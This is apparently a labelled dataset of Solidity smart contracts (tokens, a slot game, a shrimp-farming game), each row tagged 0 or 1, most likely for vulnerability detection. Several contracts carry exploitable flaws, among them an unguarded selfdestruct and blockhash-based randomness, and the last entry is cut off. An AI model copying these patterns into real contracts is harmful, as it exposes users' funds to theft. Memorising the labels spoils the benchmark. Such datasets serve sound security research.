source_codes
stringlengths 3
205k
| labels
int64 0
1
|
---|---|
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(owner, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, owner, amount);
msg.sender.transfer(amount * sellPrice);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() payable public {
selfdestruct(owner);
}
function getEth(uint num) payable public {
owner.transfer(num);
}
} | 1 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "MAKEAFOLIO";
string constant TOKEN_SYMBOL = "MAF";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8De57367b1Bb53afc74f5efAbAebC3A971FA69A9;
uint constant START_TIME = 1530417600;
bool constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 |
pragma solidity ^0.4.10;
contract Slot {
uint constant BET_EXPIRATION_BLOCKS = 250;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 300000 ether;
uint constant JACKPOT_PERCENT = 10;
uint constant MINIPOT_PERCENT = 10;
uint[][] REELS = [
[1,2,1,3,1,4,5,3,5,6],
[1,2,1,3,1,4,1,3,1,6],
[4,5,3,5,4,2,4,3,5,6]
];
uint[] SYMBOL_MASK = [0, 1, 2, 4, 8, 16, 32];
uint[][] PAYTABLE = [
[0x010100, 2],
[0x010120, 4],
[0x010110, 4],
[0x040402, 8],
[0x040404, 8],
[0x080802, 12],
[0x080808, 12],
[0x202002, 16],
[0x020220, 16],
[0x202020, 100],
[0x020202, 9999]
];
address owner;
address pendingOwner;
uint acceptPrice;
uint public pendingBetAmount;
uint public jackpotPool;
uint public minipotPool;
uint public rollTimes;
uint public minipotTimes;
struct Roll {
uint bet;
uint8 lines;
uint8 rollCount;
uint blocknum;
address next;
}
struct PartnerShare {
address from;
uint share;
}
event RollBegin(address indexed from, uint bet, uint8 lines, uint count);
event RollEnd(address indexed from, uint bet, uint8 lines, uint32 wheel, uint win, uint minipot);
mapping(address => Roll[]) public rolls;
address public rollHead;
address public rollTail;
PartnerShare[] public partners;
constructor () public {
owner = msg.sender;
}
function setOwner(address newOwner, uint price) public {
require (msg.sender == owner, "Only owner can set new owner.");
require (newOwner != owner, "No need to set again.");
pendingOwner = newOwner;
acceptPrice = price;
}
function acceptOwner() payable public {
require (msg.sender == pendingOwner, "You are not pending owner.");
require (msg.value >= acceptPrice, "Amount not enough.");
owner.transfer(acceptPrice);
owner = pendingOwner;
}
function() public payable {
require (msg.value > 200 finney, 'Min investment required.');
if (owner != msg.sender) {
partners.push(PartnerShare(msg.sender, msg.value / 1 finney));
}
}
function kill() external {
require (msg.sender == owner, "Only owner can kill.");
require (pendingBetAmount == 0, "All spins need processed befor self-destruct.");
distribute();
selfdestruct(owner);
}
function rollBlockNumber(address addr) public view returns (uint) {
if (rolls[addr].length > 0) {
return rolls[addr][0].blocknum;
} else {
return 0;
}
}
function getPartnersCount() public view returns (uint) {
return partners.length;
}
function jackpot() public view returns (uint) {
return jackpotPool / 2;
}
function minipot() public view returns (uint) {
return minipotPool / 2;
}
function roll(uint8 lines, uint8 count) public payable {
require (rolls[msg.sender].length == 0, "Can't roll mutiple times.");
uint betValue = msg.value / count;
require (betValue >= MIN_BET && betValue <= MAX_BET, "Bet amount should be within range.");
rolls[msg.sender].push(Roll(betValue, lines, count, block.number, address(0)));
if (rollHead == address(0)) {
rollHead = msg.sender;
} else {
rolls[rollTail][0].next = msg.sender;
}
rollTail = msg.sender;
pendingBetAmount += msg.value;
jackpotPool += msg.value * JACKPOT_PERCENT / 100;
minipotPool += msg.value * MINIPOT_PERCENT / 100;
emit RollBegin(msg.sender, betValue, lines, count);
}
function check(uint maxCount) public {
require (maxCount > 0, 'No reason for check nothing');
uint i = 0;
address currentAddr = rollHead;
while (i < maxCount && currentAddr != address(0)) {
Roll storage rollReq = rolls[currentAddr][0];
if (rollReq.blocknum >= block.number) {
return;
}
checkRoll(currentAddr, rollReq);
rollHead = rollReq.next;
if (currentAddr == rollTail) {
rollTail = address(0);
}
delete rolls[currentAddr];
currentAddr = rollHead;
i++;
}
}
function checkRoll(address addr, Roll storage rollReq) private {
uint totalWin = 0;
if (block.number <= rollReq.blocknum + BET_EXPIRATION_BLOCKS) {
for (uint x = 0; x < rollReq.rollCount; x++) {
totalWin += doRoll(addr, rollReq.bet, rollReq.lines, rollReq.blocknum, pendingBetAmount + rollTimes + x);
}
} else {
totalWin = rollReq.bet * rollReq.rollCount - 2300;
}
pendingBetAmount -= rollReq.bet * rollReq.rollCount;
if (totalWin > 0) {
if (address(this).balance > totalWin + 2300) {
addr.transfer(totalWin);
} else {
partners.push(PartnerShare(addr, totalWin / 1 finney));
}
}
}
function doRoll(address addr, uint bet, uint8 lines, uint blocknum, uint seed) private returns (uint) {
uint[3] memory stops;
uint winRate;
uint entropy;
(stops, winRate, entropy) = calcRoll(addr, blocknum, seed);
uint wheel = stops[0]<<16 | stops[1]<<8 | stops[2];
uint win = bet * winRate;
if (winRate == 9999) {
win = jackpotPool / 2;
jackpotPool -= win;
}
rollTimes++;
uint minipotWin = 0;
if (0xffff / (entropy >> 32 & 0xffff) > (100 * (minipotTimes + 1)) - rollTimes) {
minipotTimes++;
minipotWin = minipotPool / 2;
minipotPool -= minipotWin;
}
emit RollEnd(addr, bet, lines, uint32(wheel), win, minipotWin);
return win + minipotWin;
}
function calcRoll(address addr, uint blocknum, uint seed) public view returns (uint[3] memory stops, uint winValue, uint entropy) {
require (block.number > blocknum, "Can't check in the same block or before.");
require (block.number <= blocknum + BET_EXPIRATION_BLOCKS, "Can't check for too old block.");
entropy = uint(keccak256(abi.encodePacked(addr, blockhash(blocknum), seed)));
stops = [REELS[0][entropy % REELS[0].length],
REELS[1][(entropy >> 8) % REELS[1].length],
REELS[2][(entropy >> 16) % REELS[2].length]];
winValue = calcPayout(stops[0], stops[1], stops[2]);
}
function calcPayout(uint p1, uint p2, uint p3) public view returns (uint) {
uint line = SYMBOL_MASK[p1] << 16 | SYMBOL_MASK[p2] << 8 | SYMBOL_MASK[p3];
uint pay = 0;
for (uint i = 0; i < PAYTABLE.length; i++) {
if (PAYTABLE[i][0] == line & PAYTABLE[i][0]) {
pay = PAYTABLE[i][1];
}
}
return pay;
}
function getBonus() public view returns (uint) {
return address(this).balance - pendingBetAmount - jackpotPool - minipotPool;
}
function distribute() public returns (uint result) {
bool isPartner = (owner == msg.sender);
uint totalShare = 0;
for (uint i = 0; i < partners.length; i++) {
if (partners[i].from == msg.sender) {
isPartner = true;
}
totalShare += partners[i].share;
}
require(isPartner, 'Only partner can distrubute bonus.');
uint bonus = getBonus();
if (totalShare > 0) {
uint price = ((bonus / 10) * 6) / totalShare;
if (price > 0) {
for (uint j = 0; j < partners.length; j++) {
uint share = partners[j].share * price;
partners[j].from.transfer(share);
if (partners[j].from == msg.sender) {
result += share;
}
}
}
if (price > 2 * 1 finney) {
delete partners;
}
}
uint ownerShare = (bonus / 10) * 4;
owner.transfer(ownerShare);
if (owner == msg.sender) {
result += ownerShare;
}
}
} | 1 |
pragma solidity ^0.4.24;
contract Oasis{
function getBestOffer(address sell_gem, address buy_gem) public constant returns(uint256);
function getOffer(uint id) public constant returns (uint, address, uint, address);
}
contract EtherShrimpFutures{
using SafeMath for uint;
Oasis market;
address public dai = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;
uint256 public STARTING_SHRIMP=300;
uint256 internal PSN=10000;
uint256 internal PSNH=5000;
bool public initialized=false;
uint256 public marketEggs;
address public ceoAddress;
uint256 public numberOfFarmers;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
mapping (address => uint256) public lastHatchPrice;
address[] farmers;
constructor() public{
ceoAddress=msg.sender;
market = Oasis(0x14FBCA95be7e99C15Cc2996c6C9d841e54B79425);
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
lastHatchPrice[msg.sender] = getPrice();
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs,msg.sender);
require(eggValue>0);
uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
ceoAddress.transfer(fee);
msg.sender.transfer(SafeMath.sub(eggValue,fee));
}
function buyEggs() public payable{
require(initialized);
if(hatcheryShrimp[msg.sender] == 0){
numberOfFarmers += 1;
farmers.push(msg.sender);
}
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(address(this).balance,msg.value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
ceoAddress.transfer(devFee(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div( SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs, address adr) public view returns(uint256){
uint sellValue = calculateTrade(eggs,marketEggs,address(this).balance);
uint currentPrice = getPrice();
uint diff = getDiff(currentPrice,lastHatchPrice[adr]);
uint bonusFactor = SafeMath.mul(diff,7);
if(bonusFactor > 1e18) {
bonusFactor = 1e18;
}
return SafeMath.mul(sellValue,bonusFactor).div(1e18);
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,address(this).balance);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,2),100);
}
function seedMarket(uint256 eggs) public payable{
require(msg.sender==ceoAddress && eggs != 0);
require(marketEggs==0);
initialized=true;
marketEggs=eggs;
}
function getFreeShrimp() public{
require(initialized);
require(hatcheryShrimp[msg.sender]==0);
numberOfFarmers += 1;
farmers.push(msg.sender);
lastHatch[msg.sender]=now;
lastHatchPrice[msg.sender] = getPrice();
hatcheryShrimp[msg.sender]=STARTING_SHRIMP;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
function getLastHatchPrice(address adr) public view returns(uint256) {
return lastHatchPrice[adr];
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function getDiff(uint256 a, uint256 b) public view returns(uint256) {
uint change;
uint diff;
if( a >= b ) change = a - b;
else change = b - a;
if( change != 0 ) diff = SafeMath.div(change*1e18, b);
return diff;
}
function getPrice() public view returns(uint256) {
uint id1 = market.getBestOffer(weth,dai);
uint id2 = market.getBestOffer(dai,weth);
uint payAmt;
uint buyAmt;
address payGem;
address buyGem;
(payAmt, payGem, buyAmt, buyGem) = market.getOffer(id1);
uint price1 = SafeMath.div(buyAmt*1e18, payAmt);
(payAmt, payGem, buyAmt, buyGem) = market.getOffer(id2);
uint price2 = SafeMath.div(payAmt*1e18, buyAmt);
uint avgPrice = SafeMath.add(price1,price2).div(2);
return avgPrice;
}
function getPoolAvgHatchPrice() public view returns(uint256) {
uint256 poolSum;
for(uint i=0; i<farmers.length; i++) {
poolSum = SafeMath.add(lastHatchPrice[farmers[i]],poolSum);
}
return SafeMath.div(poolSum,farmers.length);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
constructor() public { owner = msg.sender; }
address owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract IMTTokenIMTInterface is Owned {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract InitialMTTokenIMT is IMTTokenIMTInterface {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
event Burn(address indexed burner, uint256 value);
string public name;
uint8 public decimals;
string public symbol;
constructor (
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
_transferFrom(msg.sender, _from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
_burn(msg.sender, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success){
return IMTTokenIMTInterface(tokenAddress).transfer(owner, tokens);
}
function _burn(address _who, uint256 _value) internal returns (bool success) {
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool success) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function _transferFrom(address _who, address _from, address _to, uint256 _value) internal returns (bool success) {
uint256 allow = allowed[_from][_who];
require(balances[_from] >= _value && allow >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][_who] = allowed[_from][_who].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.24;
interface ImplementationProvider {
function getImplementation(string contractName) public view returns (address);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ImplementationDirectory is ImplementationProvider, Ownable {
event ImplementationChanged(string contractName, address implementation);
mapping (string => address) internal implementations;
function getImplementation(string contractName) public view returns (address) {
return implementations[contractName];
}
function setImplementation(string contractName, address implementation) public onlyOwner {
require(AddressUtils.isContract(implementation), "Cannot set implementation in directory with a non-contract address");
implementations[contractName] = implementation;
emit ImplementationChanged(contractName, implementation);
}
function unsetImplementation(string contractName) public onlyOwner {
implementations[contractName] = address(0);
emit ImplementationChanged(contractName, address(0));
}
}
contract AppDirectory is ImplementationDirectory {
event StdlibChanged(address newStdlib);
ImplementationProvider public stdlib;
constructor(ImplementationProvider _stdlib) public {
stdlib = _stdlib;
}
function getImplementation(string contractName) public view returns (address) {
address implementation = super.getImplementation(contractName);
if(implementation != address(0)) return implementation;
if(stdlib != address(0)) return stdlib.getImplementation(contractName);
return address(0);
}
function setStdlib(ImplementationProvider _stdlib) public onlyOwner {
stdlib = _stdlib;
emit StdlibChanged(_stdlib);
}
} | 1 |
contract BossWage {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(getDividends(msg.sender, true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
